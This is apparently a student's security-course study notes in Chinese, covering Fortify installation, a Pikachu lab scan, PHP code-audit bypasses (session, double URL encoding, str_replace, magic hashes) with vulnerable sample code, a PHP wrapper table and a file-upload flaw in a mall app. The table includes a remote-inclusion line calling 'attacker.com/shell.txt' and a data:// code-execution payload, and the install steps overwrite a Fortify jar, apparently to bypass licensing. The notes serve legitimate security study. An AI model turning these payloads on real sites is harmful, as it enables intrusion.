C11第十八周

66 阅读3分钟

1、安装fortify并以pikachu靶场为目标进行练习熟练使用fortify

1.安装

1 分别安装

1

安装完成后,默认路径是C:\Program Files\Fortify

2

2 复制fortify-common-23.2.0.0023

将fortify-common-23.2.0.0023.jar文件分别覆盖下面中文件

C:\安装的路径\Fortify\Fortify_Apps_and_Tools_23.2.0\Core\lib
C:\安装的路径\Fortify\Fortify_SCA_23.2.0\Core\lib

3 更新规则

解压FortifyRules_zh_CH_2023.1.1.0001(离线规则库).zip 规则库 先删除C:\..\Fortify\Fortify_SCA_23.1.0\Core\config目录下的ExternalMetadata和rules文件夹,然后把解压的ExternalMetadata和rules文件夹拷贝到该目录下。

4 运行

C:\..\Fortify\Fortify_Apps_and_Tools_23.1.0\bin 下的auditworkbench.cmd 即可开启GUI界面,可以通过鼠标右键将该文件的快捷方式发送到桌面; 也可以在【开始】> 【Fortify_Apps_and_Tools_23.1.0】里点击Audit workench开启

5 安装完成

3

2.扫描pikachu靶场

4

2、复习php代码审计函数精讲相关内容,重点是SESSION验证绕过、urldecode二次编码绕过、str_replace绕过

sha()函数比较绕过

sha()函数比较绕过是利用哈希值的类型转换漏洞和魔法哈希(Magic Hash)特性,绕过身份验证的攻击手段。

密码md5比较绕过

md5比较绕过是利用PHP弱类型在松散比较(==)时的类型转换漏洞,通过构造特定哈希值绕过身份验证的手法。

SESSION验证绕过

<?php
// 定义flag,这是目标获取的字符串
$flag = "magedu";
// 启动会话,使用session_start()函数
session_start();
// 检查是否通过GET请求传递了password参数
if (isset($_GET['password'])) {
    // 将提供的密码与会话中存储的密码进行比较
    if ($_GET['password'] == $_SESSION['password'])
        // 如果匹配,显示flag
        die('Flag: '.$flag);
    else
        // 如果不匹配,显示错误消息
        print 'Wrong guess.';
}
// 使用复杂种子初始化随机数生成器
mt_srand((microtime() ^ rand(1,10000)) % rand(1,10000) + rand(1,10000));
?>

审计 if ($_GET['password'] == $_SESSION['password']) 这行代码发现,只需要session中的password值和用户传的一样,就可以成功拿到flag。 又由于session值是依赖Cookie来传递Session ID,如果我们删除 Cookie 的 PHPSESSID,服务器就无法找到对应的 Session 文件,导致 $_SESSION['password'] 为空,这时我们同样传入空的password就能绕过了。

因此payload为password= 且 删除 cookie的值

urldecode二次编码绕过

<?php
// 简单的关键字过滤,类比程序中的waf
// 检查GET参数id中是否包含字符串"magedu"
if(strpos($_GET['id'], "magedu")) {
    // 如果包含,输出不允许访问的消息
    echo("<p>not allowed!</p>");
    // 终止脚本执行
    exit();
}
// 对id参数进行URL解码
$_GET["id"] = urldecode($_GET["id"]);
// 检查解码后的id参数是否等于"magedu"
if($_GET["id"] == "magedu")
{
    // 如果匹配,显示访问授权消息
    echo "<p>Access granted!</p>";
    // 显示flag
    echo "<p>flag: This is magedu flag!!!} </p>";
}
?>

由于浏览器的⼀次urldecode,再由服务器端函数的⼀次decode,造成⼆次编码,而绕过过滤。

如%2527,两次urldecode会最后变成'

str_replace绕过

经常出现在字符过滤等功能逻辑中,由于仅仅过滤⼀次,因此容易被绕过。如:..././filename > ../filename实现绕过

3、复习php伪协议

协议条件作用典型示例
file://不受 allow_url_fopenallow_url_include 影响读取本地文件file://[⽂件的绝对路径和⽂件名]
php://``allow_url_fopen:off/on allow_url_include` :仅 php://input 、php://stdin、 php://memory、 php://temp 需要on访问各个输⼊/输出流(I/O streams)php://filter/read=convert.base64-encode/resource=[⽂件名] 读取⽂件源码
zip://bzip2://zlib://无特殊限制读取压缩包内的文件(可改后缀)zip://[压缩⽂件路径]%23[压缩⽂件内的⼦⽂件名] (#编码为%23)
data://allow_url_fopen=onallow_url_include=on自PHP>=5.2.0 起,可以使用data:// 数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。data://text/plain,<?php phpinfo();?>
http:// / https://allow_url_fopen=onallow_url_include=on远程文件包含http://attacker.com/shell.txt
phar://无特殊限制读取压缩包(类似zip://)或对象注入攻击phar://archive.phar/file.txt

4、搭建并部署微商城系统并结合课件审计复习文件上传漏洞

环境搭建

1.源码放入web目录下,搭建站点

2.使用navicat创建数据库mall,右击【mall数据库】> 【新建查询】,将mysql_data_E7VvC.sql文件内容复制到查询中,之后点击运行

5

3.修改数据库链接文件:/Mao/common.php

6

4.实现访问

7

文件上传漏洞

api\api.php文件中的代码没有过滤用户上传的文件,导致任意文件上传

2